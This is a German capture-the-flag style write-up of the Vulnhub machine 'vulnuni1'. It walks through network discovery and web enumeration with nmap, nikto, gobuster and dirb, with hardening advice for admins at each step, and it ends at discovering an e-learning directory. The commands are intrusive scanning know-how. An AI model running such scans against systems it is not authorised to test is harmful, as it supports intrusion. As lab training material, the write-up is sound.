vulnuni1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
sqlmap
nc (netcat)
msfconsole (Metasploit)

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase ist der erste Schritt eines jeden Penetrationstests. Ziel ist es, so viele Informationen wie möglich über das Zielsystem zu sammeln, ohne direkt auf Schwachstellen zu testen. Dies umfasst das Identifizieren aktiver Hosts im Netzwerk, das Ermitteln offener Ports und laufender Dienste sowie das Sammeln von Informationen über die Systemarchitektur und verwendete Technologien.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.117	08:00:27:3e:68:a0	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (LAN) mithilfe von ARP-Anfragen zu scannen. ARP (Address Resolution Protocol) wird verwendet, um IP-Adressen den entsprechenden MAC-Adressen zuzuordnen. Die Option `-l` steht für `--localnet` und weist `arp-scan` an, Anfragen an alle möglichen Hosts im direkt verbundenen Netzwerk zu senden. Die Ausgabe zeigt eine aktive IP-Adresse (192.168.2.117) und die zugehörige MAC-Adresse (08:00:27:3e:68:a0). Der Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH, was oft auf Oracle VirtualBox hinweist) wird ebenfalls angezeigt.

Bewertung: Dieser Schritt war erfolgreich bei der Identifizierung eines potenziellen Ziels im lokalen Netzwerk. Die MAC-Adresse und der Herstellerhinweis auf VirtualBox geben erste Anhaltspunkte über die Natur des Ziels (wahrscheinlich eine virtuelle Maschine). Dies ist ein fundamentaler erster Schritt, um das Zielsystem für weitere Scans zu lokalisieren.

Empfehlung (Pentester): Die identifizierte IP-Adresse 192.168.2.117 sollte als primäres Ziel für weitere, detailliertere Scans (z.B. mit Nmap) verwendet werden. Es ist ratsam, auch andere Netzwerksegmente zu scannen, falls vorhanden.
Empfehlung (Admin): Netzwerk-Monitoring sollte eingesetzt werden, um ungewöhnliche ARP-Scan-Aktivitäten zu erkennen. Netzwerksegmentierung kann die Reichweite solcher Scans einschränken. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
   192.168.2.117   vulnuni.vln
                    

Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale `hosts`-Datei des Angreifersystems im Texteditor `vi`. Diese Datei wird verwendet, um Hostnamen manuell IP-Adressen zuzuordnen, bevor das System einen DNS-Server abfragt. Hier wird der Eintrag `192.168.2.117 vulnuni.vln` hinzugefügt. Das bedeutet, dass jede Anfrage vom Angreifersystem an den Hostnamen `vulnuni.vln` direkt zur IP-Adresse 192.168.2.117 aufgelöst wird.

Bewertung: Dies ist eine wichtige Vorbereitung für das Scannen und Angreifen von Webanwendungen, die möglicherweise über virtuelle Hosts konfiguriert sind. Indem der Hostname lokal aufgelöst wird, kann der Pentester sicherstellen, dass Anfragen an `vulnuni.vln` korrekt an das Zielsystem weitergeleitet werden, auch wenn kein entsprechender DNS-Eintrag existiert oder erreichbar ist. Dies ist eine gängige Praxis in CTFs und internen Pentests.

Empfehlung (Pentester): Immer die `hosts`-Datei anpassen, wenn Hinweise auf spezifische Hostnamen während der Enumeration gefunden werden (z.B. in SSL-Zertifikaten, Webseiten-Quelltexten). Dies erleichtert die Interaktion mit Webservern, die VHost-Routing verwenden.
Empfehlung (Admin): Aus Sicht des Zielsystems hat diese Aktion keine direkten Auswirkungen. Admins sollten jedoch sicherstellen, dass die DNS-Konfiguration ihrer Systeme korrekt ist und interne sowie externe Auflösungen wie erwartet funktionieren.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.117 -p- | grep open
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
                    

Analyse: Dieser Nmap-Befehl führt einen schnellen Scan durch, um nur die offenen Ports auf dem Ziel 192.168.2.117 zu identifizieren. * `nmap`: Das Netzwerk-Scan-Tool. * `-sS`: Führt einen TCP SYN-Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein vollständiger TCP-Connect-Scan. * `-sC`: Führt Standard-Nmap-Skripte zur Diensterkennung und Schwachstellensuche aus. * `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. * `-T5`: Setzt das Timing-Template auf "insane", um den Scan zu beschleunigen (kann ungenau sein oder Intrusion Detection Systeme auslösen). * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute (aggressiver Scan). * `-Pn`: Überspringt die Host-Discovery-Phase und scannt das Ziel, auch wenn es nicht auf Ping-Anfragen antwortet. * `192.168.2.117`: Die IP-Adresse des Ziels. * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe und zeigt nur Zeilen an, die das Wort "open" enthalten. Die Ausgabe zeigt, dass nur Port 80 (HTTP) offen ist und ein Apache Webserver der Version 2.2.22 unter Ubuntu läuft.

Bewertung: Der Scan identifiziert erfolgreich den einzigen offenen TCP-Port und den darauf laufenden Dienst. Port 80 (HTTP) ist ein häufiger Angriffspunkt. Die spezifische Apache-Version (2.2.22) ist relativ alt und könnte bekannte Schwachstellen aufweisen. Die Verwendung von `-T5` und `-A` ist in einem kontrollierten Umfeld wie einem CTF oder einem dedizierten Testnetzwerk akzeptabel, in produktiven Umgebungen jedoch oft zu laut und potenziell störend.

Empfehlung (Pentester): Da Port 80 offen ist, sollte die Webanwendung als Nächstes gründlich untersucht werden (Web Enumeration). Die Apache-Version 2.2.22 sollte auf bekannte Exploits überprüft werden. Der `grep open` ist nützlich für eine schnelle Übersicht, aber die vollständige Nmap-Ausgabe (im nächsten Schritt) liefert mehr Kontext.
Empfehlung (Admin): Halten Sie Webserver-Software (Apache) und das zugrunde liegende Betriebssystem (Ubuntu) immer auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Beschränken Sie offene Ports auf das absolut Notwendige. Implementieren Sie ein Intrusion Detection/Prevention System (IDS/IPS), um aggressive Scans wie `-T5` zu erkennen und potenziell zu blockieren.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.117 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 16:17 CEST
Nmap scan report for vulnuni.vln (192.168.2.117)
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: VulnUni - We train the top Information Security Professionals
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:3E:68:A0 (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 3.2 - 4.9 (95%), Linux 3.13 (92%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (92%), Linux 4.10 (92%), Linux 3.2 - 3.10 (92%), Linux 3.2 - 3.16 (92%), Linux 3.10 - 4.11 (91%), Linux 3.16 - 4.6 (91%), Linux 3.16 (91%), Sony Bravia smart TV (Android) (90%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms vulnuni.vln (192.168.2.117)
                    

Analyse: Dieser Befehl ist identisch mit dem vorherigen, jedoch ohne `| grep open`. Hier sehen wir die vollständige Ausgabe des aggressiven Nmap-Scans. * **Port 80:** Bestätigt als offen, läuft Apache 2.2.22 (Ubuntu). * **HTTP-Titel:** Die Webseite hat den Titel "VulnUni - We train the top Information Security Professionals". * **HTTP-Server-Header:** Bestätigt erneut Apache 2.2.22. * **MAC-Adresse:** Bestätigt die zuvor mit `arp-scan` gefundene MAC und den Hinweis auf VirtualBox. * **OS-Erkennung:** Nmap schätzt das Betriebssystem als Linux (verschiedene Kernel-Versionen werden vorgeschlagen), kann aber keine exakte Übereinstimmung finden ("No exact OS matches"). Dies kann an der Virtualisierung oder an Firewall-Regeln liegen. * **Traceroute:** Zeigt, dass das Ziel nur einen Netzwerk-Hop entfernt ist, was typisch für ein lokales Netzwerk ist.

Bewertung: Die vollständige Ausgabe liefert wertvolle Zusatzinformationen. Der Titel der Webseite bestätigt den Hostnamen `vulnuni` und gibt einen Hinweis auf den Zweck der Seite. Die OS-Erkennung, obwohl nicht exakt, deutet stark auf Linux hin. Die Bestätigung der Apache-Version und des einzigen offenen Ports fokussiert die weiteren Angriffsbemühungen klar auf den Webserver.

Empfehlung (Pentester): Untersuche die Webseite auf Port 80 gründlich. Suche nach Verzeichnissen, Dateien, bekannten Schwachstellen in Apache 2.2.22 und der Webanwendung selbst. Die Linux-Vermutung ist hilfreich für spätere Phasen (z.B. Wahl von Exploits, Privilege Escalation Techniken).
Empfehlung (Admin): Minimieren Sie die durch Webserver preisgegebenen Informationen (z.B. Server-Header, genaue Versionen), um Angreifern weniger Anhaltspunkte zu bieten. Aktualisieren Sie das Betriebssystem und die Apache-Version. Überprüfen Sie Firewall-Regeln, um sicherzustellen, dass nur notwendige Ports offen sind.

Web Enumeration

Nachdem ein Webserver identifiziert wurde, konzentriert sich die Web Enumeration darauf, die Struktur der Webseite, versteckte Verzeichnisse, interessante Dateien, verwendete Technologien und potenzielle Schwachstellen in der Webanwendung selbst aufzudecken. Tools wie Nikto, Gobuster und Dirb werden eingesetzt, um automatisiert nach bekannten Mustern und Schwachstellen zu suchen.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.117
- Nikto v2.5.0
+ Target IP:          192.168.2.117
+ Target Hostname:    192.168.2.117
+ Target Port:        80
+ Start Time:         2023-10-08 16:17:55 (GMT2)

+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 176937, size: 40513, mtime: Wed Mar 18 15:03:34 2020. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2023-10-08 16:18:07 (GMT2) (12 seconds)

+ 1 host(s) tested
                    

Analyse: Nikto ist ein Webserver-Scanner, der auf tausende potenziell gefährliche Dateien/CGIs, veraltete Server-Software und serverspezifische Probleme prüft. * `-h 192.168.2.117`: Gibt das Ziel an. * **Server:** Bestätigt Apache 2.2.22 (Ubuntu) und merkt an, dass diese Version veraltet ist. * **ETag Leak (CVE-2003-1418):** Findet einen potenziellen Informationsleak über ETags, der Inode-Nummern preisgeben könnte. Dies ist meist von geringem Risiko. * **Fehlende Header:** Weist auf fehlende Sicherheitsheader wie `X-Frame-Options` (gegen Clickjacking) und `X-Content-Type-Options` (gegen MIME-Sniffing-Angriffe) hin. * **IP-Leak in Location Header:** Findet Hinweise darauf, dass der Server möglicherweise interne IP-Adressen (hier 127.0.1.1) preisgibt. * **mod_negotiation/MultiViews:** Entdeckt, dass `MultiViews` aktiviert ist, was das Brute-Forcing von Dateinamen erleichtern kann (z.B. `index` wird zu `index.html` aufgelöst). * **Directory Indexing:** Findet offene Verzeichnisse `/css/` und `/images/`, die es erlauben, deren Inhalt aufzulisten. * **Apache Default File:** Findet die Standard-Datei `/icons/README`. * **/#wp-config.php#:** Ein sehr interessanter Fund. Das `#` am Ende deutet oft auf eine Backup-Datei eines Editors hin (wie `vi` oder `emacs`). `wp-config.php` ist die Konfigurationsdatei von WordPress und enthält normalerweise Datenbank-Zugangsdaten. Auch wenn hier kein WordPress läuft, könnte eine ähnliche Konfigurationsdatei mit diesem Backup-Namen existieren. Dieser Fund ist jedoch ein Fehlalarm von Nikto, da die Raute # in der URL nicht korrekt interpretiert wird.

Bewertung: Nikto liefert zahlreiche wichtige Hinweise. Die veraltete Apache-Version, fehlende Sicherheitsheader und Directory Indexing sind klare Schwachstellen bzw. Fehlkonfigurationen. Besonders interessant sind die offenen Verzeichnisse und die aktivierte `MultiViews`-Option. Der Fund `/icons/README` ist trivial. Der vermeintliche Fund `/#wp-config.php#` ist kritisch zu prüfen, da er wahrscheinlich ein False Positive ist, aber das Muster (Backup-Dateien) ist relevant.

Empfehlung (Pentester): Untersuche die offenen Verzeichnisse `/css/` und `/images/` manuell auf interessante Dateien. Prüfe die `MultiViews`-Funktion, indem du versuchst, auf bekannte Dateien ohne Endung zuzugreifen. Recherchiere bekannte Schwachstellen für Apache 2.2.22. Versuche, die Existenz einer Backup-Konfigurationsdatei zu verifizieren (z.B. `config.php~`, `config.php.bak`).
Empfehlung (Admin): Aktualisieren Sie Apache dringend auf eine unterstützte Version. Implementieren Sie die empfohlenen Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.). Deaktivieren Sie Directory Indexing (`Options -Indexes` in der Apache-Konfiguration). Deaktivieren Sie `MultiViews`, wenn es nicht zwingend benötigt wird (`Options -MultiViews`). Stellen Sie sicher, dass keine sensiblen Backup-Dateien im Web-Root liegen.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://vulnuni.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://vulnuni.vln/index                (Status: 200) [Size: 40513]
http://vulnuni.vln/index.html           (Status: 200) [Size: 40513]
http://vulnuni.vln/contact              (Status: 200) [Size: 12721]
http://vulnuni.vln/contact.html         (Status: 200) [Size: 12721]
http://vulnuni.vln/about                (Status: 200) [Size: 21076]
http://vulnuni.vln/about.html           (Status: 200) [Size: 21076]
http://vulnuni.vln/blog                 (Status: 200) [Size: 17804]
http://vulnuni.vln/blog.html            (Status: 200) [Size: 17804]
http://vulnuni.vln/courses              (Status: 200) [Size: 16178]
http://vulnuni.vln/courses.html         (Status: 200) [Size: 16178]
http://vulnuni.vln/teacher              (Status: 200) [Size: 18746]
http://vulnuni.vln/teacher.html         (Status: 200) [Size: 18746]
                    

Analyse: Gobuster ist ein Tool zum Brute-Forcen von Verzeichnissen und Dateien auf Webservern. * `dir`: Gibt an, dass nach Verzeichnissen/Dateien gesucht wird. * `-u http://vulnuni.vln`: Die Ziel-URL. * `-x ...`: Eine lange Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll. * `-w ...`: Pfad zur Wortliste, die für die Verzeichnis-/Dateinamen verwendet wird (`directory-list-2.3-medium.txt` aus SecLists ist eine gängige Wahl). * `-b '403,404,301'`: Statuscodes, die in der Ausgabe unterdrückt werden sollen (typische "Nicht gefunden" oder "Kein Zugriff"-Codes). * `-e`: Erweiterter Modus, zeigt die vollständige URL für gefundene Verzeichnisse an. * `--no-error`: Unterdrückt Fehlermeldungen (z.B. Verbindungsprobleme). * `-k`: Überspringt die Überprüfung von SSL-Zertifikaten (hier irrelevant, da HTTP). Die Ausgabe zeigt mehrere gefundene Seiten, sowohl mit als auch ohne `.html`-Endung. Dies bestätigt die von Nikto vermutete `MultiViews`-Funktion.

Bewertung: Gobuster hat erfolgreich die Hauptseiten der Webanwendung identifiziert. Die Bestätigung von `MultiViews` ist wichtig. Es wurden keine versteckten oder ungewöhnlichen Verzeichnisse oder Dateien gefunden, die auf eine direkte Schwachstelle hindeuten, aber die Liste der bekannten Seiten (`index`, `contact`, `about`, `blog`, `courses`, `teacher`) bildet die Grundlage für die weitere manuelle Untersuchung.

Empfehlung (Pentester): Untersuche jede der gefundenen Seiten manuell im Browser. Analysiere den Quellcode auf Kommentare, versteckte Felder, JavaScript-Dateien und Links zu weiteren Bereichen. Teste die Formulare (Kontakt, Suche etc.) auf gängige Web-Schwachstellen (XSS, SQLi etc.). Da Gobuster mit dieser Wortliste keine Admin-Panels oder ähnliches gefunden hat, könnte eine größere Wortliste oder ein anderer Ansatz (z.B. VHost-Bruteforcing) nötig sein.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit der `MultiViews`-Option. Wenn sie nicht benötigt wird, deaktivieren Sie sie. Stellen Sie sicher, dass keine sensiblen Informationen in den öffentlich zugänglichen Seiten enthalten sind. Regelmäßige Scans mit Tools wie Gobuster (aus der Verteidigerperspektive) können helfen, ungewollte offengelegte Ressourcen zu finden.

┌──(root㉿Cybermaschine)-[~] └─# dirb http://vulnuni.vln -X ".php,.html,.txt"
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Oct  8 16:19:00 2023
URL_BASE: http://vulnuni.vln/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.html,.txt) | (45930 extensions in total)

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://vulnuni.vln/ ----
+ http://vulnuni.vln/about.html (CODE:200|SIZE:21076)
+ http://vulnuni.vln/blog.html (CODE:200|SIZE:17804)
+ http://vulnuni.vln/contact.html (CODE:200|SIZE:12721)
+ http://vulnuni.vln/courses.html (CODE:200|SIZE:16178)
+ http://vulnuni.vln/index.html (CODE:200|SIZE:40513)
+ http://vulnuni.vln/server-status (CODE:403|SIZE:296)
+ http://vulnuni.vln/teacher.html (CODE:200|SIZE:18746)

---- Entering directory: http://vulnuni.vln/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan wordlist.
    (Use mode '-i' if you want to scan indexed directories)

---- Entering directory: http://vulnuni.vln/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan wordlist.
    (Use mode '-i' if you want to scan indexed directories)

---- Entering directory: http://vulnuni.vln/icons/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan wordlist.
    (Use mode '-i' if you want to scan indexed directories)
==> DIRECTORY: http://vulnuni.vln/images/

---- Entering directory: http://vulnuni.vln/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan wordlist.
    (Use mode '-i' if you want to scan indexed directories)
==> DIRECTORY: http://vulnuni.vln/js/

---- Entering directory: http://vulnuni.vln/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan wordlist.
    (Use mode '-i' if you want to scan indexed directories)

-----------------
END_TIME: Sun Oct  8 16:19:07 2023
DOWNLOADED: 18448 - FOUND: 6
-----------------
                    

Analyse: Dirb ist ein weiteres Werkzeug zur Web-Content-Erkennung, ähnlich wie Gobuster. * `http://vulnuni.vln`: Das Ziel. * `-X ".php,.html,.txt"`: Sucht nach Dateien mit diesen spezifischen Endungen zusätzlich zu den Verzeichnissen aus der Standard-Wortliste (`common.txt`). Die Ausgabe bestätigt erneut die bereits mit Gobuster gefundenen `.html`-Dateien. Zusätzlich findet Dirb `/server-status` (mit Status 403 Forbidden, also nicht zugreifbar) und weist explizit auf die listbaren Verzeichnisse `/css/`, `/fonts/`, `/icons/`, `/images/`, `/js/` hin, die Nikto teilweise auch schon gemeldet hatte.

Bewertung: Dirb bestätigt die Ergebnisse von Gobuster und Nikto bezüglich der Hauptseiten und der listbaren Verzeichnisse. Der Fund `/server-status` ist interessant, auch wenn er nicht direkt zugänglich ist. Es zeigt, dass die Apache-Statusseite potenziell aktiviert, aber nicht korrekt gesichert ist. Die Wiederholung der Ergebnisse durch verschiedene Tools erhöht die Zuverlässigkeit der Funde.

Empfehlung (Pentester): Wie bei Gobuster: Die gefundenen Seiten und listbaren Verzeichnisse manuell untersuchen. Der `/server-status` (403) deutet darauf hin, dass er existiert, aber der Zugriff eingeschränkt ist. Man könnte versuchen, diese Einschränkung zu umgehen (z.B. durch Spoofing einer lokalen IP, falls die Einschränkung IP-basiert ist), obwohl dies hier unwahrscheinlich erscheint. Konzentriere dich auf die Analyse der Webanwendung selbst.
Empfehlung (Admin): Deaktivieren Sie `/server-status` und `/server-info` vollständig in der Apache-Konfiguration, wenn sie nicht benötigt werden. Wenn sie benötigt werden, stellen Sie sicher, dass der Zugriff stark eingeschränkt ist (z.B. auf bestimmte interne IP-Adressen oder über Authentifizierung). Deaktivieren Sie weiterhin Directory Indexing.

Die folgenden Blöcke enthalten manuell gesammelte Informationen aus der Untersuchung der Webseite und ihres Quellcodes.

Email admin@vulnuni.local
192.168.2.117   vulnuni.vln vulnuni.local
                    

Analyse: Diese Informationen wurden vermutlich durch die manuelle Untersuchung der Webseite (z.B. Kontaktseite, Quellcode) gefunden. Eine E-Mail-Adresse (`admin@vulnuni.local`) wurde entdeckt. Zusätzlich wurde der Hostname `vulnuni.local` gefunden, der auf dieselbe IP-Adresse (192.168.2.117) wie `vulnuni.vln` zeigt. Dies deutet auf einen weiteren Virtual Host hin, der auf demselben Server läuft.

Bewertung: Der Fund eines zweiten Hostnamens (`vulnuni.local`) ist signifikant. Webserver können unterschiedliche Inhalte oder Anwendungen basierend auf dem angefragten Hostnamen ausliefern (Virtual Hosting). Es ist entscheidend, auch diesen Hostnamen zu untersuchen. Die E-Mail-Adresse könnte für Social Engineering oder Passwort-Guessing nützlich sein, ist aber oft weniger relevant in CTFs.

Empfehlung (Pentester): Füge `vulnuni.local` zur `/etc/hosts`-Datei hinzu (`192.168.2.117 vulnuni.local`). Führe die gesamte Web-Enumeration (Nikto, Gobuster, Dirb, manuelle Analyse) erneut für `http://vulnuni.local` durch, da dort möglicherweise andere Inhalte oder Schwachstellen zu finden sind.
Empfehlung (Admin): Überprüfen Sie die Konfiguration aller Virtual Hosts auf dem Server. Stellen Sie sicher, dass jeder Hostname beabsichtigt ist und korrekt konfiguriert wurde. Vermeiden Sie die Preisgabe von E-Mail-Adressen in Klartext auf Webseiten, um Spam und Phishing zu reduzieren (verwenden Sie stattdessen Kontaktformulare oder verschleierte Adressen).

------------------------------------------------------------------------------------------
webenum

Racky Henderson

http://vulnuni.vln/images/teacher-1.jpg
http://vulnuni.vln/images/image_2.jpg
https://github.com/eslint/eslint/issues/6125
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
https://github.com/jquery/jquery/pull/557
------------------------------------------------------------------------------------------
                    

Analyse: Diese Notizen stammen offenbar aus der manuellen Durchsicht der Webseite, insbesondere der "Teacher"-Seite oder ähnlichem. Ein Name, "Racky Henderson", wurde identifiziert, möglicherweise ein Benutzer oder Administrator. Es wurden auch Links zu Bildern und externen GitHub-Seiten gefunden, die sich auf JavaScript-Bibliotheken (ESLint, RequireJS, jQuery) beziehen.

Bewertung: Der Name "Racky Henderson" könnte als potenzieller Benutzername für Brute-Force-Angriffe oder Passwort-Guessing verwendet werden. Die Links zu den JavaScript-Bibliotheken deuten darauf hin, dass diese auf der Webseite verwendet werden. Es ist wichtig zu prüfen, ob veraltete oder verwundbare Versionen dieser Bibliotheken eingesetzt werden (Client-Side-Schwachstellen).

Empfehlung (Pentester): Notiere den Namen "Racky Henderson" für mögliche spätere Authentifizierungsversuche. Überprüfe die Versionen der eingesetzten JavaScript-Bibliotheken auf bekannte Schwachstellen (z.B. mit Browser-Entwicklertools oder spezialisierten Scannern wie Retire.js).
Empfehlung (Admin): Halten Sie alle verwendeten JavaScript-Bibliotheken auf dem neuesten Stand. Führen Sie regelmäßige Scans auf Client-Side-Schwachstellen durch. Seien Sie vorsichtig bei der Preisgabe von Mitarbeiternamen auf öffentlichen Webseiten.

http://vulnuni.local/blog/index.php

Not Found

The requested URL /blog.html/index.php was not found on this server.
Apache/2.2.22 (Ubuntu) Server at vulnuni.local Port 80
                    

Analyse: Hier wurde versucht, auf `http://vulnuni.local/blog/index.php` zuzugreifen. Der Server antwortet jedoch mit einem "Not Found"-Fehler für die URL `/blog.html/index.php`. Dies ist ein interessantes Verhalten. Es scheint, dass der Server aufgrund der `MultiViews`-Option oder einer anderen Konfiguration versucht hat, `blog` (was existiert und zu `blog.html` führt) mit `/index.php` zu kombinieren, was fehlschlägt.

Bewertung: Dieses Verhalten bestätigt indirekt die Existenz von `blog` oder `blog.html` unter dem Hostnamen `vulnuni.local`. Die fehlerhafte URL-Konstruktion (`/blog.html/index.php`) deutet auf eine mögliche Fehlkonfiguration oder eine unerwartete Interaktion von Apache-Modulen (wie `mod_negotiation` und `mod_dir`) hin. Obwohl dies keine direkte Schwachstelle ist, zeigt es, dass der Server unter `vulnuni.local` aktiv ist und Anfragen verarbeitet.

Empfehlung (Pentester): Untersuche `http://vulnuni.local/blog` oder `http://vulnuni.local/blog.html` direkt. Führe Verzeichnis-Scans (Gobuster, Dirb) spezifisch für `http://vulnuni.local/` und `http://vulnuni.local/blog/` durch, um die tatsächliche Struktur zu ermitteln. Die merkwürdige Fehlermeldung könnte auch auf andere Pfad-Manipulationsversuche hindeuten.
Empfehlung (Admin): Überprüfen Sie die Apache-Konfiguration für den Virtual Host `vulnuni.local`, insbesondere die Direktiven `DirectoryIndex`, `Options MultiViews` und eventuelle Rewrite-Regeln, um sicherzustellen, dass URLs korrekt verarbeitet werden und keine unbeabsichtigten Pfadkombinationen entstehen.

------------------------------------------------------------------------------------------

Dlref                           : ItAm71w/pZIAP7ST4yrbA

view-source:http://vulnuni.local/courses

 Disabled till new version is installed
 href="vulnuni-eclass-platform.html"
 EClass Platform

view-source:http://vulnuni.local/vulnuni-eclass-platform.html
http://vulnuni.local/vulnuni-eclass/
                    

Analyse: Diese Notizen stammen aus der Untersuchung des Quellcodes (`view-source:`) der Seiten unter `http://vulnuni.local`. * `Dlref: ItAm71w/pZIAP7ST4yrbA`: Ein scheinbar zufälliger String, der in einem Kommentar oder einem versteckten Feld gefunden wurde. Könnte ein Hash, ein Token oder eine Referenz sein. * **Quellcode von `/courses`:** Enthält einen auskommentierten oder nicht aktiven Link zur "vulnuni-eclass-platform.html" mit dem Hinweis "Disabled till new version is installed". Dies deutet auf eine (möglicherweise verwundbare) Komponente hin, die temporär deaktiviert wurde. * **Quellcode von `/vulnuni-eclass-platform.html`:** Enthält einen Link oder eine Weiterleitung zum Verzeichnis `/vulnuni-eclass/`.

Bewertung: Der wichtigste Fund hier ist der Hinweis auf `/vulnuni-eclass/`. Auch wenn der Link auf der `/courses`-Seite deaktiviert war, existiert das Zielverzeichnis möglicherweise noch. "EClass Platform" klingt nach einer E-Learning-Software, die oft komplex ist und Schwachstellen aufweisen kann. Der `Dlref`-String ist unklar, sollte aber notiert werden.

Empfehlung (Pentester): Untersuche das Verzeichnis `http://vulnuni.local/vulnuni-eclass/` gründlich. Führe Verzeichnis- und Datei-Scans (Gobuster, Dirb) speziell für dieses Unterverzeichnis durch. Suche nach bekannten Schwachstellen in "EClass"-Plattformen. Der `Dlref`-String könnte später relevant werden, wenn ein Kontext dafür gefunden wird.
Empfehlung (Admin): Entfernen Sie Code und Verweise auf deaktivierte oder nicht verwendete Komponenten vollständig, anstatt sie nur auszukommentieren oder zu verlinken. Überprüfen Sie die Sicherheit der "EClass"-Plattform. Wenn sie nicht mehr verwendet wird, sollte sie vom Server entfernt werden.

┌──(root㉿Cybermaschine)-[~/images] └─# dirb http://vulnuni.local/vulnuni-eclass/ /usr/share/wordlists/dirb/big.txt -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Oct  8 23:09:00 2023
URL_BASE: http://vulnuni.local/vulnuni-eclass/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (20458 extensions in total)

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://vulnuni.local/vulnuni-eclass/ ----
+ http://vulnuni.local/vulnuni-eclass/index.php (CODE:200|SIZE:5670)

-----------------
END_TIME: Sun Oct  8 23:09:17 2023
DOWNLOADED: 20458 - FOUND: 1
-----------------
                    

Analyse: Hier wird Dirb erneut eingesetzt, diesmal gezielt auf das zuvor entdeckte Verzeichnis `http://vulnuni.local/vulnuni-eclass/`. * `/usr/share/wordlists/dirb/big.txt`: Es wird eine größere Wortliste verwendet als zuvor (`big.txt` statt `common.txt`). * `-X .php`: Es wird explizit nach PHP-Dateien gesucht. Das Ergebnis ist der Fund der Datei `index.php` im Verzeichnis `/vulnuni-eclass/`. Mit der größeren Wortliste wurden keine weiteren relevanten PHP-Dateien gefunden.

Bewertung: Das Vorhandensein einer `index.php` in `/vulnuni-eclass/` bestätigt, dass dieses Verzeichnis eine Webanwendung enthält. Da keine anderen offensichtlichen Dateien gefunden wurden, ist `index.php` der primäre Einstiegspunkt für die Untersuchung dieser E-Learning-Plattform.

